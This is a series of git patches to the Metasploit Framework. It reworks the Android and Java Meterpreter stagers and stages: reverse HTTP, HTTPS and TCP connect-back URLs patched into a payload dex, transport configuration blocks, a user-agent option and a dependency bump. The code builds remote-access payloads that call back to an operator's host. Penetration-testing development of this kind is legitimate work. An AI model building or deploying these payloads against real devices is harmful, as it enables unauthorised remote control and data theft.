From e796e56c6ce6e7afabc654c05be1f6512031c9a5 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 23 Jun 2015 17:47:13 +1000 Subject: [PATCH 1/7] Modify the staging process --- lib/msf/core/payload/dalvik.rb | 9 +++++-- .../payloads/stagers/android/reverse_http.rb | 27 +++++++++---------- .../payloads/stagers/android/reverse_https.rb | 25 +++++++++-------- .../payloads/stagers/android/reverse_tcp.rb | 22 +++++++-------- 4 files changed, 43 insertions(+), 40 deletions(-) diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index b70c6a9602..088345be71 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -32,8 +32,13 @@ module Msf::Payload::Dalvik end def apply_options(classes) - string_sub(classes, 'TTTT ', "TTTT" + datastore['SessionRetryTotal'].to_s) - string_sub(classes, 'SSSS ', "SSSS" + datastore['SessionRetryWait'].to_s) + timeouts = [ + datastore['SessionExpirationTimeout'].to_s, + datastore['SessionCommunicationTimeout'].to_s, + datastore['SessionRetryTotal'].to_s, + datastore['SessionRetryWait'].to_s + ].join('-') + string_sub(classes, 'TTTT ', 'TTTT' + timeouts) end def string_sub(data, placeholder="", input="") diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index bc84647149..87b2fbf319 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -17,15 +17,15 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Dalvik Reverse HTTP Stager', - 'Description' => 'Tunnel communication over HTTP', - 'Author' => 'anwarelmakrahy', - 'License' => MSF_LICENSE, - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'Handler' => Msf::Handler::ReverseHttp, - 'Stager' => {'Payload' => ""} - )) + 'Name' => 'Dalvik Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => ['anwarelmakrahy', 'OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => {'Payload' => ''} + )) end def generate_jar(opts={}) @@ -36,13 +36,12 @@ module Metasploit3 uri_req_len = 5 end - lurl = "ZZZZhttp://#{datastore["LHOST"]}" - lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] - lurl << "/" - lurl << generate_uri_uuid_mode(:init_java, uri_req_len) + url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/" + # TODO: perhaps wire in an existing UUID from opts? + url << generate_uri_uuid_mode(:init_java, uri_req_len) classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') - string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) + string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url) apply_options(classes) jar = Rex::Zip::Jar.new diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index b26e75de92..fa93d598f4 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -17,14 +17,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Dalvik Reverse HTTPS Stager', - 'Description' => 'Tunnel communication over HTTPS', - 'Author' => 'anwarelmakrahy', - 'License' => MSF_LICENSE, - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'Handler' => Msf::Handler::ReverseHttps, - 'Stager' => {'Payload' => ""} + 'Name' => 'Dalvik Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => ['anwarelmakrahy', 'OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => {'Payload' => ''} )) end @@ -36,13 +36,12 @@ module Metasploit3 uri_req_len = 5 end - lurl = "ZZZZhttps://#{datastore["LHOST"]}" - lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] - lurl << "/" - lurl << generate_uri_uuid_mode(:init_java, uri_req_len) + url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/" + # TODO: perhaps wire in an existing UUID from opts? + url << generate_uri_uuid_mode(:init_java, uri_req_len) classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') - string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) + string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url) verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], datastore['HandlerSSLCert']) diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 6aacb42a45..087d6c800a 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module Metasploit4 CachedSize = :dynamic @@ -17,14 +17,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Dalvik Reverse TCP Stager', - 'Description' => 'Connect back stager', - 'Author' => 'timwr', - 'License' => MSF_LICENSE, - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'Handler' => Msf::Handler::ReverseTcp, - 'Stager' => {'Payload' => ""} + 'Name' => 'Dalvik Reverse TCP Stager', + 'Description' => 'Connect back stager', + 'Author' => ['timwr', 'OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ''} )) end @@ -37,8 +37,8 @@ module Metasploit3 classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') - string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST'] - string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT'] + url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}" + string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url) apply_options(classes) jar.add_file("classes.dex", fix_dex_header(classes)) From 0493ba83a0342fd9818a746ca7c183e619c6c7bd Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 24 Jun 2015 19:56:44 +1000 Subject: [PATCH 2/7] Add transport configuration support --- .../payloads/stages/android/meterpreter.rb | 24 +++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index fe2e95a156..20f7f52825 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -7,9 +7,10 @@ require 'msf/core' require 'msf/core/payload/dalvik' require 'msf/base/sessions/meterpreter_android' require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' +module Metasploit4 -module Metasploit3 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) @@ -44,6 +45,25 @@ module Metasploit3 # Name of the class to load from the stage, the actual jar to load # it from, and then finally the meterpreter stage - java_string(clazz) + java_string(metstage) + java_string(met) + java_string(clazz) + java_string(metstage) + java_string(met) + java_string(generate_config(opts)) + end + + def generate_config(opts={}) + opts[:uuid] ||= generate_payload_uuid + + # create the configuration block, which for staged connections is really simple. + config_opts = { + ascii_str: true, + arch: opts[:uuid].arch, + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config(opts)] + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the XML version of it + config.to_b end end From a8c20496beaf45b280f9daa6c856718ff175fd38 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 24 Jun 2015 22:37:40 +1000 Subject: [PATCH 3/7] Remove unused code from the java http stager --- lib/msf/core/handler/reverse_http.rb | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f2e0073f6a..9102039e86 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -313,21 +313,11 @@ protected print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...") url = payload_uri(req) + conn_id + "/\x00" - blob = "" - blob << obj.generate_stage( + blob = obj.generate_stage( uuid: uuid, uri: conn_id ) - # This is a TLV packet - I guess somewhere there should be an API for building them - # in Metasploit :-) - packet = "" - packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00" - packet << [url.length+8, 0x1000a].pack('NN')+url - packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN') - packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN') - blob << [packet.length+8, 0].pack('NN') + packet - resp.body = blob # Short-circuit the payload's handle_connection processing for create_session From 5a24dc8e64396ed91e87738962a0e6888764a1b7 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 25 Jun 2015 14:08:41 +1000 Subject: [PATCH 4/7] Enable the transport command for java --- .../post/meterpreter/ui/console/command_dispatcher/core.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index e51c470a20..5b62d0aa99 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -80,10 +80,10 @@ class Console::CommandDispatcher::Core if client.platform =~ /win/ || client.platform =~ /linux/ # Migration only supported on windows and linux c["migrate"] = "Migrate the server to another process" + end - + if client.platform =~ /win/ || client.platform =~ /linux/ || client.platform =~ /java/ # Yet to implement transport hopping for other meterpreters. - # Works for posix and native windows though. c["transport"] = "Change the current transport mechanism" # sleep functionality relies on the transport features, so only From 98156ec944b0749bc853c834a19512c071beddd3 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 25 Jun 2015 14:51:06 +1000 Subject: [PATCH 5/7] Add user agent to the transport config Why this was missing I will never know :) --- lib/msf/core/payload/transport_config.rb | 1 + lib/msf/core/payload/windows/reverse_http.rb | 16 ++++++++-------- lib/msf/core/payload/windows/x64/reverse_http.rb | 1 + 3 files changed, 10 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index f75c5c3db2..f7f6ce198c 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -60,6 +60,7 @@ module Msf::Payload::TransportConfig :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :retry_total => datastore['SessionRetryTotal'].to_i, :retry_wait => datastore['SessionRetryWait'].to_i, + :ua => datastore['MeterpreterUserAgent'], :proxy_host => datastore['PayloadProxyHost'], :proxy_port => datastore['PayloadProxyPort'], :proxy_type => datastore['PayloadProxyType'], diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 7b0968fe2d..f6c3e32657 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -52,14 +52,14 @@ module Payload::Windows::ReverseHttp # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri - conf[:exitfunk] = datastore['EXITFUNC'] - conf[:proxy_host] = datastore['PayloadProxyHost'] - conf[:proxy_port] = datastore['PayloadProxyPort'] - conf[:proxy_user] = datastore['PayloadProxyUser'] - conf[:proxy_pass] = datastore['PayloadProxyPass'] - conf[:proxy_type] = datastore['PayloadProxyType'] - conf[:retry_count] = datastore['StagerRetryCount'] + conf[:url] = generate_uri + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:ua] = datastore['MeterpreterUserAgent'] + conf[:proxy_host] = datastore['PayloadProxyHost'] + conf[:proxy_port] = datastore['PayloadProxyPort'] + conf[:proxy_user] = datastore['PayloadProxyUser'] + conf[:proxy_pass] = datastore['PayloadProxyPass'] + conf[:proxy_type] = datastore['PayloadProxyType'] end generate_reverse_http(conf) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 47c333f020..a8f62b36da 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -58,6 +58,7 @@ module Payload::Windows::ReverseHttp_x64 unless self.available_space.nil? || required_space > self.available_space conf[:url] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] + conf[:ua] = datastore['MeterpreterUserAgent'] conf[:proxy_host] = datastore['PayloadProxyHost'] conf[:proxy_port] = datastore['PayloadProxyPort'] conf[:proxy_user] = datastore['PayloadProxyUser'] From a773979992c183d0b9cadd6ac53adf8529643612 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 26 Jun 2015 13:59:09 +1000 Subject: [PATCH 6/7] Java config wiring, tweak to include block counts This commit adjusts the way that the config block is set for java and android because behind the scenes the stageless connect-backs need to know what to discard. as a result of connecting back to staged listeners we need to be able to discard a number of bytes/blocks before we can continue process (at least in the case of TCP). --- lib/msf/core/payload/java.rb | 4 +- .../payloads/stages/android/meterpreter.rb | 28 +++++---- modules/payloads/stages/java/meterpreter.rb | 63 ++++++++++++++----- 3 files changed, 63 insertions(+), 32 deletions(-) diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index bebcedca32..d61b2190cc 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -18,9 +18,9 @@ module Msf::Payload::Java stage = '' @stage_class_files.each do |path| data = MetasploitPayloads.read('java', path) - stage << ([data.length].pack("N") + data) + stage << [data.length, data].pack('NA*') end - stage << [0].pack("N") + stage << [0].pack('N') stage end diff --git a/modules/payloads/stages/android/meterpreter.rb b/modules/payloads/stages/android/meterpreter.rb index 20f7f52825..fe89735e12 100644 --- a/modules/payloads/stages/android/meterpreter.rb +++ b/modules/payloads/stages/android/meterpreter.rb @@ -15,20 +15,16 @@ module Metasploit4 def initialize(info = {}) super(update_info(info, - 'Name' => 'Android Meterpreter', + 'Name' => 'Android Meterpreter', 'Description' => 'Run a meterpreter server on Android', - 'Author' => [ - 'mihi', # all the hard work - 'egypt', # msf integration - 'anwarelmakrahy' # android extension - ], + 'Author' => ['mihi', 'egypt', 'anwarelmakrahy', 'OJ Reeves'], 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Java_Android)) + 'Arch' => ARCH_DALVIK, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Android + )) - register_options( - [ + register_options([ OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) ], self.class) end @@ -38,14 +34,20 @@ module Metasploit4 # used as the final stage # def generate_stage(opts={}) - # TODO: wire the UUID into the stage clazz = 'androidpayload.stage.Meterpreter' metstage = MetasploitPayloads.read("android", "metstage.jar") met = MetasploitPayloads.read("android", "meterpreter.jar") # Name of the class to load from the stage, the actual jar to load # it from, and then finally the meterpreter stage - java_string(clazz) + java_string(metstage) + java_string(met) + java_string(generate_config(opts)) + blocks = [ + java_string(clazz), + java_string(metstage), + java_string(met), + java_string(generate_config(opts)) + ] + + (blocks + [blocks.length]).pack('A*' * blocks.length + 'N') end def generate_config(opts={}) diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index dfa263ef0e..f0e666349d 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -10,7 +10,8 @@ require 'msf/base/sessions/meterpreter_java' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module Metasploit4 + include Msf::Sessions::MeterpreterOptions # The stager should have already included this @@ -18,20 +19,18 @@ module Metasploit3 def initialize(info = {}) super(update_info(info, - 'Name' => 'Java Meterpreter', - 'Description' => 'Run a meterpreter server in Java', - 'Author' => [ - 'mihi', # all the hard work - 'egypt' # msf integration - ], - 'Platform' => 'java', - 'Arch' => ARCH_JAVA, - 'PayloadCompat' => - { + 'Name' => 'Java Meterpreter', + 'Description' => 'Run a meterpreter server in Java', + 'Author' => ['mihi', 'egypt', 'OJ Reeves'], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'PayloadCompat' => { 'Convention' => 'javasocket javaurl', }, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Java_Java)) + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Java_Java + )) + # Order matters. Classes can only reference classes that have already # been sent. The last .class must implement Stage, i.e. have a start() # method. @@ -54,12 +53,42 @@ module Metasploit3 # used as the final stage; calls super to get the intermediate stager. # def generate_stage(opts={}) - # TODO: wire the UUID into the stage met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') + config = generate_config(opts) - # All of the dendencies to create a jar loader, followed by the length - # of the jar and the jar itself. - super(opts) + [met.length].pack("N") + met + # All of the dependencies to create a jar loader, followed by the length + # of the jar and the jar itself, then the config + blocks = [ + super(opts), + [met.length, met].pack('NA*'), + [config.length, config].pack('NA*') + ] + + # Deliberate off by 1 here. The call to super adds a null terminator + # so we would add 1 for the null terminate and remove one for the call + # to super. + block_count = blocks.length + @stage_class_files.length + + # Pack all the magic together + (blocks + [block_count]).pack('A*' * blocks.length + 'N') end + def generate_config(opts={}) + opts[:uuid] ||= generate_payload_uuid + + # create the configuration block, which for staged connections is really simple. + config_opts = { + ascii_str: true, + arch: opts[:uuid].arch, + expiration: datastore['SessionExpirationTimeout'].to_i, + uuid: opts[:uuid], + transports: [transport_config(opts)] + } + + # create the configuration instance based off the parameters + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + + # return the XML version of it + config.to_b + end end From 52086308b3ef678ec12d2c1d9299a4c7c8714f60 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 1 Jul 2015 00:22:54 -0500 Subject: [PATCH 7/7] bump to metasploit-payloads 1.0.4 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 1bbada3563..29efb30d4f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (~> 1.0) metasploit-model (~> 1.0) - metasploit-payloads (= 1.0.3) + metasploit-payloads (= 1.0.4) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.3) + metasploit-payloads (1.0.4) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index d4d0dcae22..244711be98 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -62,7 +62,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 1.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.3' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.4' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler